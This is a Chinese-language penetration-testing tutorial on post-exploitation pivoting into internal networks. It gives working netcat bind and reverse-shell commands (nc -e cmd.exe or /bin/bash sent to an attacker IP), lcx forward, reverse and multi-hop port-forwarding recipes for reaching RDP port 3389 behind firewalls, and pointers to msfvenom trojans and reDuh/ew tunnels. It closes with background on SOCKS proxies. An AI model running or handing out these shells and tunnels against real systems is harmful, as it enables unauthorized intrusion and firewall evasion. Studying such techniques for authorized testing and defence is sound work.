在渗透测试中,当我们获得了外网服务器(如web服务器,ftp服务器,mali服务器等等)的一定权限后发现这台服务器可以直接或者间接的访问内网。此时渗透测试进入后渗透阶段,一般情况下,内网中的其他机器是不允许外网机器访问的。这时候,我们可以通过 端口转发(隧道) 或将这台外网服务器设置成为 代理,使得我们自己的攻击机可以直接访问与操作内网中的其他机器。实现这一过程的手段就叫做内网转发
目的
渗透测试中,我们往往会面对十分复杂的内网环境,比如最常见的防火墙,它会限制特定端口的数据包出入,此时就需要内网转发
转发情景:
1.A可以访问B的80端口,但是不能访问B的3389端口。
2.A可以访问B,B可以访问C,但是A不可以访问C,需要通过B转发数据,让A和C进行通信。
代理方向
正向代理:正向代理是服务器开放端口,客户端主动访问服务器的端口
反向代理:反向代理是客户端开发端口,服务器连接客户端,反向代理是相对于服务器而言的,当我们请求 www.baidu.com 的时候,背后可能有成千上万台服务器为我们服务,但具体是哪一台,不需要知道,你只需要知道反向代理服务器是谁就好了,www.baidu.com 就是我们的反向代理服务器,反向代理服务器会帮我们把请求转发到真实的服务器那里去
内网转发形式
1.反弹shell:在攻击者机器,获取受害者机器的命令行
2.反弹端口:受害者服务器的某一个端口不能访问,我们通过反弹端口的形式,让攻击者能够访问该端口,也叫端口转发
3.反弹代理:将攻击者的流量转发到内网其他服务器上
反弹shell
1.工具nc使用
条件:能够访问到受害者机器的开放端口
方式:tcp 连接是外网攻击机发起的,连接被控服务器
步骤一:将被控服务器shell反弹到本地的4444端口,并监听4444端口(受害机输入)
nc -lvp 4444 -e cmd.exe (反弹windows shell)
nc -lvp 4444 -e /bin/bash (反弹linux shell)
步骤二:攻击机连接被控服务器的4444端口(攻击机输入)
nc -vv 受害机ip 4444
利用nc反弹shell
条件:防火墙开启,不允许访问目标端口(可直接关闭目标机防火墙,权限不够时利用nc反向连接)
方式:tcp连接是被控服务器发起,连接外网攻击机
步骤一:外网服务器监听4444端口
(攻击机输入)
nc -lvp 4444
步骤二:在被控服务器反弹shell到外网服务器的4444端口
(受害机输入)
nc -e cmd.exe 攻击机ip 4444(反弹windows shell)
nc -e /bin/bash 攻击机ip 4444(反弹linux shell)
2.工具msf使用
msfconsole:作用:管理生成exp,管理反弹的shell,通过反弹的shell进行后渗透
模块介绍:exploits:攻击脚本 payloads:攻击载荷(攻击效果控制) auxiliaru:辅助模块(扫描工具等) post:后渗透模块(提取信息) encoders编码模块 nops:无操作生成器
msfvenom
作用:制作木马
msfencode
作用:对木马进行编码
- 其他Linux反弹shell方法
方式:
利用系统自带的bash和gawk
利用脚本:python、perl、ruby、lua、php、jsp、aspx
利用第三方服务或工具:elnet、xterm、socat、nc
反弹端口
条件
1.访问服务器的xxxx端口时,由于一些原因无法访问
原因:1.xxxx端口,防火墙没有开放 2.服务器处于公司内网,对外只发布了80端口 3.xxxx端口只允许内网连接.................
2.服务器处于公司内网,我们没有办法直接访问服务器
3.服务器处于公司内网,且无法与外网服务器直接通信,无法反弹shell
lcx工具使用
Lcx简要使用介绍
三种模式
listen:监听,同时监听两个端口:第一个是服务器开放的,第二个是在本地新开一个用来操作的
tran:转发,将一个端口的流量转发到另一个端口
slave: 将一个外网端口和一个内网端口进行连接
先将lcx上传到目标服务器(有时还需要上传到内网边界机),之后再从以下几种转发方式进行选择
LCX正向端口转发
环境:xxxx端口不对外开放,但是yyyy端口对外开放
作用:
一般对外的服务器,80,8080,53,21等等,xxxx端口没有对外开放,但是有其他端口对外开放,此时可以本地端口转发,转发的端口必须没有被其他服务占用
基本:(防火墙允许xxxx流量通过)
1.被控服务器输入命令将xxxx端口转发到本地(被控服务器)的yyyy端口(本地端口转发)
lcx -tran yyyy 127.0.0.1 xxxx
2.攻击机连接被控服务器的yyyy端口(mstsc远程)
进阶:(防火墙不允许xxxx端口流量通过)
使用reduh来进行转发:
思路:Mstsc客户端–>reDuh 代理–>HTTP tunne–>Web 服务器–>3389
LCX反向端口转发
1.攻击机开启监听
lcx -listen 4444 12345
2.被控服务器输入命令,将端口转发到攻击机
lcx.exe -slave 攻击机IP 端口 被控服务器IP 端口
3. 攻击机连接本地的12345端口(mstsc远程,127.0.0.1:12345)
lcx多级级联反弹内网主机端口
网络配置情况
内网边界机2有两个网卡,一个与攻击机1同网段,一个与目标服务器3同网段(攻击机1的ip:192.168.0.106,内网边界机2的ip:192.168.16.129和10.1.1.1,目标服务器3的ip:10.1.1.2)此时1-2,2-3通,1-3不通
情况一
环境:目标服务器3不能访问外网攻击机1,但是可以访问同网段的内网边界机2,同时目标服务器3的3389端口只能内网边界机2访问
1.攻击机1开启监听
lcx -listen 4444 12345
2.内网边界机2输入命令,将端口转发到攻击机1
lcx.exe -slave 攻击机1IP 端口 目标服务器3IP 端口
3.在攻击机1连接本地12345端口(mstsc远程,127.0.0.1:12345)
情况二
环境:目标服务器3不能访问外网攻击机1,但是可以访问同网段的内网边界机2,同时3389端口只能本地访问,但是8080端口对外开放。
1.目标服务器3输入命令将3389端口转发到本地的8080端口
lcx -tran 8080 127.0.0.1 3389
2.在内网边界机2输入命令,将目标服务器3的8080端口转发到攻击机1
lcx -slave 攻击机1IP 端口 目标服务器3IP 端口
3.在攻击机1上监听端口
lcx –listen 4444 12345
4.外网攻击机1连接本地12345端口(mstsc远程,127.0.0.1:12345)
反弹代理
介绍
内网渗透不光只是反弹一个shell,反弹一个端口,我们更需要对内网进行更深一步的扫描和渗透,这时候就需要设置找到一个代理服务器,充当外网和内网数据转发的节点母的,所以出现了反弹代理,也叫反弹socket,进行反弹代理后,就可以访问目标机的所有端口了,使用工具:ew,支持http,https等代理
Socks代理
全能代理,就像有很多跳线的转接板,它只是简单地将一端的系统连接到另外一端。支持多种协议,包括http、ftp请求及其它类型的请求。它分socks 4 和socks 5两种类型,socks 4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份验证机制等协议。其标准端口为1080。
原理:
socks代理相应的采用socks协议的代理服务器就是SOCKS服务器,是一种通用的代理服务器。Socks是个电路级的底层网关,是DavidKoblas在1990年开发的,此后就一直作为Internet RFC标准的开放标准。Socks不要求应用程序遵循特定的操作系统平台,Socks 代理与应用层代理、 HTTP 层代理不同,Socks代理只是简单地传递数据包,而不必关心是何种应用协议(比如FTP、HTTP和NNTP请求)。所以,Socks代理比其他应用层代理要快得多。它通常绑定在代理服务器的1080端口上。如果您在企业网或校园网上,需要透过防火墙或通过代理服务器访问Internet就可能需要使用SOCKS。一般情况下,对于拨号上网用户都不需要使用它。注意,浏览网页时常用的代理服务器通常是专门的http代理,它和SOCKS是不同的。因此,能浏览网页不等于您一定可以通过SOCKS访问Internet。 常用的防火墙,或代理软件都支持SOCKS,但需要其管理员打开这一功能。如果不确信是否需要SOCKS或是否有SOCKS可用,请与您的网络管理员联系。为了使用socks,需要了解一下内容:
① SOCKS服务器的IP地址
② SOCKS服务所在的端口
③ 这个SOCKS服务是否需要用户认证?如果需要,要向你的网络管理员申请一个用户和口令
知道了上述信息,就可以把这些信息填入“网络配置”中,或者在第一次登记时填入,就可以使用socks代理了。
实际应用:
在实际应用中SOCKS代理可以用作为:电子邮件、新闻组软件、网络传呼ICQ、网络聊天MIRC和使用代理服务器打游戏等等各种应用软件当中。